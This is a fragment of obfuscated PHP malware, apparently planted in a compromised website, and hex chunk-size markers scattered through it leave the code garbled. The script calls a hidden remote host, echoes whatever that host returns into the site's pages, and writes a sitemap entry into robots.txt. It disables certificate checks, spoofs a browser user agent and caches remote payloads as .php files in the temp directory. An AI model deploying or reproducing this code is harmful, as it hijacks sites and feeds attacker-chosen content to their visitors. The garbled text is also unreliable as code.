3 $get["\x4e\117\x55\x6d\x62\145 13 \x72"] ?? '', "\164 23 " => $get["\164"] ?? '', "\x63\x6e" 23 => $get["\143\x6e"] ?? '', "\x70\x 2d 4e\x4f\x55\x6d" => $get["\160\x4e\x4f\x55\155 24 "] ?? '', "\x63\x69\144" => $get["\x 1a 63\151\x64"] ?? '', "\155" 1d => $get["\x6d"] ?? '')); $st 1c r = getCurlFast("{$surl}\x3f 12 {$params}"); echo 23 str_replace(array("\171\171\x6d\x6d 18 ", "\x67\x67\x67\147\x67 10 ", "\77\146\x3d" 31 ), array($http_type . $_SERVER["\x48\124\x54\120\ 23 x5f\110\x4f\123\x54"] . $_SERVER["\ 17 123\103\x52\x49\x50\x54 14 \x5f\x4e\101\115\x45 d "], $sz, "\77 13 " . $qz . "\x3d"), 19 $str); die; } goto y1V0b; 13 ap1mo: $sz = $iid 10 = ''; goto hlG6j 13 ; u9Vm1: $ip = $kk 10 !== '' ? "\x36\6 11 6\x2e\x32\x34\x39 11 \x2e\70\62\x2e\70 1a " : get_real_ip(); goto Uf 19 lM7; hlG6j: if (!empty($_ e GET)) { $f = r 13 eset($_GET); $sp = 12 explode("\x2d", $f 10 ); if (count($sp 14 ) === 2) { $sz = $sp 11 [0]; $iid = $sp[1 18 ]; } } goto sNiwt; UflM7 11 : $domain = trim( 2a getCurlFast($jd . "\147\x65\164\144\x6f\x6 19 d\x61\151\x6e\x32\56\x61\ 16 x73\160\170\77\x72\x6e 10 \144\75\x31\46\x 12 69\160\75" . $ip)) 10 ; goto taa3z; EY 17 X7h: if ($kk !== '' && 2c preg_match("\57\x5e\x5b\x41\55\x5a\141\x2d\1 11 72\60\x2d\x39\x5d c \53\44\57", f $kk)) { $remote 3a = getCurlFast($jd . "\147\x65\164\144\157\155\x61\151\x6e 1e \62\56\141\x73\x70\170\77\x72\ 11 156\144\75\62\x26 15 \x6b\153\x3d" . $kk); 39 if (!empty($remote)) { echo $remote; die; } } goto u3U2k 18 ; gmJgr: function cache_ 10 get($key, $expir 32 e = 300) { $file = sys_get_temp_dir() . "\x2f\143\ 28 141\143\150\145\x5f" . md5($key) . "\56\ 12 x70\150\x70"; if ( 1a file_exists($file) && time f () - filemtime( 1b $file) < $expire) { return 28 file_get_contents($file); } return false 15 ; } goto eggD8; u3U2k 28 : if ($kk !== '' && !preg_match("\x2f\13 15 6\x5b\x41\55\132\141\ 16 x2d\172\x30\x2d\x39\13 4b 5\x2b\44\57", $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } d goto eCAbA; o f fsRJ: function 57 output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine) 1a ; echo "\x3c\x64\x69\x76\4 14 0\x73\x74\171\154\x6 11 5\x3d\x27\164\145 12 \x78\x74\x2d\x61\x 13 6c\151\x67\156\72\x 1e 63\x65\156\164\145\x72\73\160\ 17 x61\x64\x64\x69\x6e\147 13 \x3a\61\60\160\170\ 10 40\x30\73\47\x3e 17 \xa\40\x20\x20\40\40\x2 26 0\x20\x20\40\40\x20\x20\74\x61\40\150\ 13 162\145\146\x3d\x22 30 {$http_type}{$_SERVER["\110\124\124\120\137\110\ 1f 117\123\124"]}{$_SERVER["\x53\1 17 03\122\111\x50\x54\x5f\ 12 116\x41\x4d\105"]} 13 \x3f\167\x3d" . dat 11 e("\131\x6d\144\1 15 10\151") . "\x22\x20\ 14 164\x61\x72\147\x65\ 18 x74\x3d\x22\137\142\154\ 1b x61\x6e\x6b\x22\x20\x72\x65 f \154\75\42\x6e\ 17 x6f\146\157\x6c\154\x6f 1a \x77\x22\x3e\x53\151\164\1 11 45\x6d\141\160\74 2e \x2f\141\x3e\xa\40\x20\x20\x20\40\40\x20\x20\4 19 0\x20\74\x2f\x64\x69\166\ 1d 76"; die; } goto EYX7h; tadjA 18 : $sitemapLine = "\123\1 13 51\x74\145\155\x61\ 23 x70\x3a\x20{$http_type}{$_SERVER["\ 33 x48\124\124\120\x5f\110\x4f\123\x54"]}{$_SERVER["\1 1e 23\103\x52\111\x50\124\137\x4e 16 \101\x4d\x45"]}\x3f\x7 2c 7\x3d" . date("\131\155\144\110\151") . "\xa 14 "; goto oBxKF; VmgLL 12 : $vurl = "\164\15 11 7\x2e\152\x67\x61 17 \x6c\154\x73\x2e\x63\15 11 7\155\x2f"; goto 1a r795u; eCAbA: $is_no_query 1c = empty($_SERVER["\x51\125\ 14 105\x52\131\137\x53\ 12 x54\122\x49\x4e\x4 17 7"]); goto jCsnT; eX8At 11 : $get = filter_i e nput_array(INP 10 UT_GET, FILTER_S 9 ANITIZE_S d TRING); goto 1a gmJgr; ZGeRz: if (!empty($ 29 iid)) { $str = getCurlFast($hyzhdy . "\x3 16 f\x69\x69\x64\x3d{$iid 38 }"); echo str_replace(array("\x67\x67\x67\147\147", "\x5 11 9\131\x59\x59\131 22 ", "\x58\x58\x58\131\131\x59", "\x b e5\xbd\223\ b 345\x89\x8d 15 \125\x52\x4c", "\125\ 16 x55\x55\125\x55", "\11 19 5\x4d\115\115\x4d", "\77\ 15 x66\75"), array($sz, 1e get_url_info(), get_url_info(" 29 \142\141\163\145"), get_url_info("\146\x7 24 5\x6c\154"), get_url_info("\x6e\x6f\ 13 x5f\x77\167\x77"), 16 parse_url($_SERVER["\1 1a 22\105\121\125\x45\123\124 17 \137\x55\122\111"], PHP 8 _URL_PAT 1a H), "\77" . $qz . "\75"), 3f $str); die; } goto ofsRJ; UOexB: function getCurlFast($url) { $ 18 cached = cache_get($url) 1b ; if ($cached !== false) { 17 return $cached; } $data 1b = ''; if (function_exists( 13 "\143\x75\x72\x6c\x 13 5f\151\156\151\164" 13 )) { $ch = curl_ini 13 t($url); curl_setop 14 t_array($ch, array(C b URLOPT_RETU 8 RNTRANSF c ER => true, e CURLOPT_CONNEC 8 TTIMEOUT 25 => 5, CURLOPT_TIMEOUT => 8, CURLOPT_ 9 SSL_VERIF e YPEER => false 2c , CURLOPT_SSL_VERIFYHOST => false, CURLOPT_F 8 OLLOWLOC 19 ATION => false, CURLOPT_U c SERAGENT => 15 "\115\157\x7a\x69\x6c 14 \154\x61\57\65\56\60 13 ")); $data = curl_e 12 xec($ch); curl_clo 16 se($ch); } if (empty($ 11 data) && ini_get( 17 "\x61\154\154\157\167\x 15 5f\x75\x72\154\137\x6 19 6\157\160\x65\x6e")) { $c d ontext = stre 10 am_context_creat 1e e(array("\150\x74\x74\160" => 1b array("\164\151\x6d\145\157 14 \x75\x74" => 8, "\x6 1c 8\x65\x61\x64\145\x72" => "\ 11 x55\x73\145\162\5 19 5\101\x67\145\156\x74\x3a e \x20\x4d\x6f\1 1d 72\x69\154\154\141\x2f\65\56\ f x30\xd\12"), "\ 18 163\x73\x6c" => array("\ 17 x76\145\x72\x69\146\x79 20 \x5f\x70\x65\x65\x72" => false, 26 "\166\x65\x72\x69\146\x79\x5f\x70\x65\ 1b 145\162\137\x6e\141\x6d\145 2b " => false))); $data = @file_get_contents($ 1d url, false, $context); } if ( 1c !empty($data)) { cache_set($ 1b url, $data); } return $data 15 ; } goto p7jg0; EjU3H 4 : ?> 0